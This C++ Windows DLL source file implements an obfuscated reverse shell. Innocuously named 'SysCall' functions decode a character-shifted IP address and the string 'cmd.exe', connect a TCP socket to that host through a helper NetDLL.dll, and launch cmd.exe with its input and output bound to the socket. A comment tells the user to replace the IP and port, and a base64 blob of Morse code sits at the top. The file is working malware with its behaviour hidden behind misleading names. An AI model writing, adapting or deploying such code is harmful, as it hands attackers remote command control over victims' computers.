const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#pragma comment(lib,"Ws2_32.lib")

#ifdef LOAD_DLL
#define LIBRARY_API __declspec(dllimport)
#else
#define LIBRARY_API __declspec(dllexport)
#endif

// Заменить IP и port
#pragma region Network
const unsigned short int lengthIP = 12;
char InternetProtacol[lengthIP] = "081-057-/-5";
int port = 1111;

SOCKADDR_IN addr;
SOCKET Socket;
#ifdef UNICODE
TCHAR cmd[] = L"dne/fyf";
#else
TCHAR cmd[] = "dne/fyf";
#endif
#pragma endregion

#pragma region Load Function From NetDLL
HINSTANCE NetLib;

typedef void (*NetInit)();
typedef void (*MyConnect)(SOCKADDR*, SOCKET*);

NetInit ni;
MyConnect mc;
#pragma endregion



void DecodeIP()
{
	for (int i = 0; i < lengthIP - 1; ++i)
		++InternetProtacol[i];
}

void DecodeCommand()
{
	for (int i = 0; i < 7; ++i)
		--cmd[i];
}

#pragma region System calls
void SysCall1()
{
	NetLib = LoadLibrary(L"NetDLL.dll");
	if (NetLib == nullptr)
		exit(-4);

	ni = (NetInit)GetProcAddress(NetLib, "NetInit");
	if (ni == nullptr)
		exit(-5);
	ni();
	FreeLibrary(NetLib);
}
void SysCall5()
{
	DecodeIP();
	struct hostent* host;
	host = gethostbyname(InternetProtacol);
	strcpy_s(InternetProtacol, lengthIP, inet_ntoa(*((struct in_addr*)host->h_addr)));
}
void SysCall2()
{
	addr.sin_addr.s_addr = inet_addr(InternetProtacol);
	addr.sin_port = htons(port);
	addr.sin_family = AF_INET;
}
void SysCall3()
{
	NetLib = LoadLibrary(L"NetDLL.dll");
	if (NetLib == nullptr)
		exit(-4);

	mc = (MyConnect)GetProcAddress(NetLib, "MyConnect");
	if (mc == nullptr)
		exit(-6);

	Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

	mc((SOCKADDR*)&addr, &Socket);
	FreeLibrary(NetLib);
}
void SysCall4()
{
	STARTUPINFO ini_processo;
	PROCESS_INFORMATION processo_info;

	memset(&ini_processo, 0, sizeof(ini_processo));
	ini_processo.cb = sizeof(ini_processo);
	ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Socket;

	if (Socket == INVALID_SOCKET)
		exit(4);

	DecodeCommand();
	if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info))
		exit(5);
}
#pragma endregion

extern "C" void LIBRARY_API SystemCall(int call)
{
	switch (call)
	{
	case 1:
	{
		SysCall1();
	} break;

	case 2:
	{
		SysCall2();
	} break;

	case 3:
	{
		SysCall3();
	} break;

	case 4:
	{
		SysCall4();
	} break;

	case 5:
	{
		SysCall5();
	} break;

	default:{
	} break;
	}
}